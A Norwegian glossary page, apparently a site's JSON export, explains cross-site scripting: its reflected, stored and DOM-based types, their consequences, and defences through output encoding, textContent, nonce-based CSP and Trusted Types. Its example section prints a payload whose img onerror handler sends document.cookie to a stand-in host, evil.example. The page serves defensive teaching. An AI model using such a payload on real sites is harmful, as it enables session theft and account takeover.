{"canonical_url":"https://engineer.company/nb/glossary/cross-site-scripting/","content_markdown":"# Krysskripting\n\n## Hva det er\n\nKrysskripting, på engelsk _cross-site scripting_ og nesten alltid forkortet XSS, er angrepet der\net nettsted tar tekst som kom fra noen andre, setter den inn i en side det serverer for andre, og\nlar være å nøytralisere den underveis, slik at nettleseren leser en del av teksten som kode og\nkjører den. Common Weakness Enumeration fører det som CWE-79, under en tittel som sier omtrent det\nsamme: inndata som ikke nøytraliseres mens en nettside genereres. Angriperen endrer aldri koden til\nnettstedet. Angriperen leverer data, og nettstedet selv bringer skriptet ut til sine egne brukere,\ninne i sine egne sider.\n\nDet finnes tre veier inn, og både CWE-oppføringen og OWASP beskriver dem. Ved reflektert XSS, også\nkalt ikke-persistent eller Type 1, reiser nyttelasten (_payload_) med i forespørselen, som regel\nsom en URL-parameter, og serveren kopierer den inn i svaret: en side med søkeresultater, en\nfeilmelding, alt som gjentar det den fikk tilsendt. Offeret må lokkes til å åpne en spesiallaget\nlenke, og derfor plasserer CWE-oppføringen slike lenker i kjernen av mange phishing-angrep. Ved\nlagret XSS, også kalt persistent eller Type 2, blir nyttelasten lagret først, i en kommentar, et\nforuminnlegg, et profilfelt eller en loggmelding, og den kjører for alle som senere ser den\noppføringen. Ved DOM-basert XSS, Type 0, ser serveren kanskje aldri nyttelasten i det hele tatt.\nSidens eget JavaScript leser noe angriperen styrer, for eksempel delen av URL-en etter `#`, og\nskriver det inn i dokumentet på en måte som får nettleseren til å tolke det som HTML-kode.\n\nNavnet passer dårlig til det moderne problemet, og OWASP sier det selv: forebyggingsarket deres\n(_cheat sheet_) kaller betegnelsen misvisende. Den stammer fra tidlige angrep som stjal data på\ntvers av nettsteder, og har siden blitt utvidet til å dekke innsprøyting av nesten hvilket som helst\ninnhold i en side, enten et annet nettsted er involvert eller ikke. Selv forkortelsen har en\nhistorie. CWE-oppføringen forteller at den opplagte forkortelsen på tre bokstaver var vanlig i de\nførste årene, helt til sammenfallet med Cascading Style Sheets gjorde at den gikk ut av bruk.\n\nOWASP regner XSS som en form for injeksjon, i samme familie som SQL-injeksjon. I begge tilfeller\nkrysser data en grense og havner et sted der de leses som instruksjoner: der den SQL-en en database\nkjører, her en sides HTML-kode, attributtverdier og JavaScript. Kuren har samme form begge steder.\nHold data som data i det øyeblikket de settes inn, så har tolkeren ingenting av angriperens å kjøre.\n\n## Hvorfor det er viktig\n\nSkriptet kjører som nettstedets eget. Nettleseren fører ikke regnskap med hvor teksten kom fra; den\nser en side som nettstedet har servert fra sitt eget opphav, og gir skriptet alt det opphavet har\nlov til. OWASP formulerer problemet slik at nettleseren ikke har noen mulighet til å vite at\nskriptet ikke burde ha tillit. CWE-oppføringen trekker konsekvensen: angrepet setter hensikten bak\n_same-origin policy_ ut av spill, regelen som skal hindre skript fra ett nettsted i å strekke seg\ninn i et annet.\n\nDet skriptet kan gjøre, er det brukeren kunne. CWE-79 nevner tyveri av private opplysninger i\ninformasjonskapsler, for eksempel øktdata, som det vanligste angrepet, og advarer om at det er\nsærlig farlig når offeret har administratorrettigheter på nettstedet. Listen til OWASP er lengre: å\nta over kontoen, følge med på hva brukeren gjør, hente inn innhold fra andre steder, stjele\nsensitive data og skrive om selve siden. Lagret XSS i en loggmelding er en klassisk vei til nettopp\nde ofrene. CWE-oppføringen bruker det som eksempel, fordi de som leser logger, gjerne er\nadministratorer, og fordi en loggviser ikke nødvendigvis håndterer fiendtlige inndata ordentlig.\n\nDet angår alle webteam, ikke bare dem som fortsatt skriver HTML-kode for hånd. Moderne rammeverk har\ngjort XSS sjeldnere: OWASP gir malsystemene deres og den automatiske _escapingen_ æren for færre\nfeil. Alle rammeverk har likevel nødutganger for tilfellene der en utvikler vil sette inn HTML-kode\ndirekte, og OWASP peker på nettopp dem som stedene der problemene fortsatt oppstår. Det samme\nforebyggingsarket slår fast at ingen enkelt teknikk løser XSS, og at det trengs en kombinasjon. Det\ner rammen for resten av artikkelen: kod først for riktig kontekst, og legg de andre lagene bak.\n\n## Slik ser det ut i praksis\n\nTa en nettbutikk der søkesiden gjentar søkeordet, slik at `https://shop.example/search?q=lamp`\nviser `Results: lamp`. Serveren bygger den linjen ved å lime parameteren inn i sidemalen sin. En\nangriper sender et offer en lenke der `q` er dette:\n\n```html\n\u003cimg src=x onerror=\"fetch('//evil.example/'+document.cookie)\"\u003e\n```\n\nServeren limer den inn som før, og nettleseren til offeret mottar:\n\n```html\n\u003cp\u003eResults: \u003cimg src=x onerror=\"fetch('//evil.example/'+document.cookie)\"\u003e\u003c/p\u003e\n```\n\nBildet lar seg ikke laste, fordi `x` ikke er et bilde, og nettleseren kjører\n`onerror`-håndtereren, som sender brukerens informasjonskapsler til angriperens server. Koden står\ni et attributt og ikke i et `\u003cscript\u003e`-element, og det er typisk: OWASPs eget eksempel på en\nnyttelast bruker `onerror`-attributtet til et bilde på samme måte.\n\nLøsningen er å kode verdien for stedet den havner. I brødtekst i HTML betyr det at de fem tegnene\n`\u0026`, `\u003c`, `\u003e`, `\"` og `'` blir til `\u0026amp;`, `\u0026lt;`, `\u0026gt;`, `\u0026quot;` og `\u0026#x27;`. Den samme\nnyttelasten kommer da fram som `\u0026lt;img src=x onerror=\u0026quot;...\u0026quot;\u0026gt;`, som nettleseren viser\nsom tekst og aldri tolker som en tagg. Rammeverk med automatisk _escaping_ gjør dette for deg;\nhullet åpner seg der en streng i stedet bygges for hånd.\n\nI den DOM-baserte varianten sender serveren bare en statisk side, og sidens eget skript leser `q`\nog skriver det inn i overskriften:\n\n```js\nconst heading = document.querySelector(\"h1\");\nconst q = new URLSearchParams(location.search).get(\"q\");\nheading.innerHTML = `Results for ${q}`; // tolker q som HTML\nheading.textContent = `Results for ${q}`; // viser q som tekst\n```\n\nLinjen med `innerHTML` gir angriperens HTML-kode til HTML-parseren, og `onerror`-håndtereren slår\ntil akkurat som før. HTML-standarden påpeker at et `\u003cscript\u003e`-element som settes inn på denne\nmåten, ikke kjøres i det hele tatt, og derfor lener nyttelaster seg på attributter for\nhendelseshåndterere i stedet. Linjen med `textContent` lager en tekstnode og tolker ingenting, så\nden samme verdien vises som harmløse tegn. Forebyggingsarket fra OWASP om DOM-basert XSS kaller det\nå velge et trygt mål (_sink_) som dette for den beste løsningen, og det generelle forebyggingsarket\nber utviklere om å skrive koden om, bort fra `innerHTML` og over til `textContent`.\n\nBak kodingen ligger et lag til. En Content Security Policy som oppgir en nonce, ber nettleseren\nkjøre bare de skriptene som bærer den. Det gjeldende utkastet fra W3C ber serveren lage en ny nonce\nhver gang den sender en policy, på minst 128 bit fra en kryptografisk sikker tilfeldighetsgenerator.\nEt innsprøytet `\u003cscript\u003e` har ingen nonce, og en innebygd håndterer som `onerror` ovenfor blir også\navvist, for bare `'unsafe-inline'` eller `'unsafe-hashes'` kan tillate håndterere, og en nonce slår\n`'unsafe-inline'` av. Utkastet nevner `script-src 'strict-dynamic' 'nonce-{RANDOM}'` sammen med\n`base-uri 'self'` som et effektivt tiltak mot XSS som også lar seg rulle ut i praksis. I\nChromium-baserte nettlesere går `require-trusted-types-for 'script'` lenger og får mål som\n`innerHTML` til å avvise vanlige strenger. OWASP advarer likevel om at en policy er lett å sette\nopp feil, og regner den som et ekstra lag snarere enn det primære forsvaret.\n\nPå en plattform med faglige og organisatoriske data setter mellomvaren i Next.js\n[en slik policy med en nonce per forespørsel og strict-dynamic](/nb/portfolio/hardened-the-application-with-nonce-based-csp/)\ni tillegg til HSTS og SameSite-informasjonskapsler, så nettleseren er låst ned\nmed tanke på hva den vil kjøre og sende. Den samme siden beskriver beskyttelse i flere lag for å unngå å være avhengig av\nén enkelt kontroll. Autorisasjonen på serveren er utformet for å fungere uavhengig\nav kontrollene på klienten, slik at grensesnittet ikke avgjør hvem som får tilgang.\n\n## Hvor det går galt\n\n**Koding for feil kontekst.** Koding til HTML-entiteter er riktig for tekst mellom tagger og ikke\nnok andre steder. OWASP gir hver kontekst sin egen regel: en verdi inne i en URL-parameter\nprosentkodes på formen `%HH`, og en verdi inne i et attributt kodes for attributter og settes i\nanførselstegn. Koding beskytter dessuten bare stedet en streng settes inn, ikke det som skjer med\nden senere; en verdi som sendes videre til `eval()`, er utrygg uansett hva som er gjort med den.\nVit hvor hver verdi havner, og bruk koderen i rammeverket for det stedet.\n\n**Attributter uten anførselstegn.** Mellomrom avslutter en attributtverdi uten anførselstegn, så en\nangriper som kan legge til et mellomrom, kan legge til et eget attributt, og `onmouseover=` er alt\nsom skal til. Sett alltid attributtverdier i anførselstegn, og bruk attributtkoderen i rammeverket.\n\n**Brukerdata i et attributt for hendelseshåndtering.** Attributtkoding beskytter ikke JavaScript i\n`onclick` og slektningene, fordi HTML-parseren dekoder tegnreferanser før skriptet tolkes. Koble\ntil håndterere med `addEventListener()`, og send brukerens verdi med som data.\n\n**En nødutgang i rammeverket matet med rå inndata.** `dangerouslySetInnerHTML` i React,\n`bypassSecurityTrustAs*`-funksjonene i Angular og `unsafeHTML` i Lit slår alle av den automatiske\n_escapingen_. Når brukere virkelig trenger å skrive HTML-kode, kjør den gjennom en renser som\nDOMPurify, som OWASP anbefaler, ikke endre resultatet etterpå, og hold biblioteket oppdatert, fordi\ndet stadig blir funnet nye omgåelser.\n\n**En `javascript:`-URL i en lenke.** Et nettstedsfelt i en profil som inneholder `javascript:`\netterfulgt av kode, gjør en uskyldig lenke om til et skript. React 19 blokkerer slike URL-er i\n`src` og `href`, men OWASP sier at det ikke erstatter applikasjonens egen validering av URL-er.\nTillat de URL-typene feltet faktisk trenger, som `https:`, og avvis alt annet.\n\n**Inndatavalidering eller en WAF som løsningen.** Validering hjelper, men den kan ikke fjerne alle\nfarlige tegn fra fritekst. Eksemplet i CWE-oppføringen er hjertesmileyen `\u003c3`, som valideringen i\nen chatteapplikasjon sannsynligvis ville sluppet gjennom, og som likevel inneholder `\u003c`. En\nbrannmur for nettapplikasjoner (_web application firewall_) ser etter kjente angrepsstrenger,\noverser nye omgåelser og ser aldri DOM-basert XSS som skjer helt i nettleseren; OWASP anbefaler\nikke en slik for å forebygge XSS. Kod utdataene, og regn begge deler som ekstra lag.\n\n**HttpOnly som en kur.** Når øktkapselen er merket HttpOnly, kan ikke `document.cookie` lese den,\nog det tar brodden av den vanligste nyttelasten. Skriptet kjører likevel og kan opptre som brukeren\ninne fra siden. CWE-oppføringen kaller HttpOnly ingen fullstendig løsning, og OWASP sier at\nattributtene på informasjonskapsler begrenser skaden uten å hindre kjøringen. Sett den, og tett\nselve hullet.\n\n**JSON servert som HTML.** Et endepunkt som returnerer brukerdata med `Content-Type: text/html`,\ninviterer nettleseren til å tolke dem som en side. Regelen fra OWASP er å sjekke at JSON går ut som\n`application/json`. Sett headeren eksplisitt på hvert eneste slikt svar.\n\n**Policyen som det primære forsvaret.** En nonce som gjenbrukes på tvers av svar, en manglende\n`base-uri` eller en `'unsafe-inline'` som ble lagt til for å få én widget til å virke, kan hver for\nseg i det stille sette en policy ut av spill. Kod først, og la policyen fange det som slipper\ngjennom.\n\n## Les mer\n\n- [CWE-79 in the Common Weakness Enumeration](https://cwe.mitre.org/data/definitions/79.html) —\n  svakhetsoppføringen: de tre typene, konsekvensene og tiltakene med begrensningene deres.\n- [OWASP Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n  — koding for hver kontekst, nødutgangene i rammeverkene, rensing og lagene bak dem.\n- [OWASP DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n  — trygge og utrygge mål i nettleseren, med gjennomgåtte eksempler.\n- [OWASP: Cross Site Scripting (XSS)](https://community.owasp.org/attacks/xss/) — angrepet sett fra\n  angriperens side, med eksempler på nyttelaster.\n- [HTML Standard: Scripting](https://html.spec.whatwg.org/multipage/scripting.html) — hvordan og\n  når `script`-elementet kjører, også i HTML-kode som settes inn.\n- [Content Security Policy Level 3](https://www.w3.org/TR/CSP3/) — nonces, `'strict-dynamic'` og\n  den strenge policyen utkastet anbefaler.\n\n\u003chttps://engineer.company/nb/glossary/cross-site-scripting/\u003e\n","date_modified":"2026-11-12T05:34:23Z","description":"Hvordan krysskripting får en nettleser til å kjøre en angripers kode som nettstedets egen, de tre typene, og kodevanene som stopper det.","formats":{"gemtext":"https://engineer.company/nb/glossary/cross-site-scripting/index.gmi","gopher":"https://engineer.company/nb/glossary/cross-site-scripting/gophermap","html":"https://engineer.company/nb/glossary/cross-site-scripting/","json":"https://engineer.company/nb/glossary/cross-site-scripting/index.json","markdown":"https://engineer.company/nb/glossary/cross-site-scripting/index.md","pdf":"https://engineer.company/nb/glossary/cross-site-scripting/index.pdf"},"kind":"page","language":"nb","title":"Hva er krysskripting?","url":"https://engineer.company/nb/glossary/cross-site-scripting/","version":1}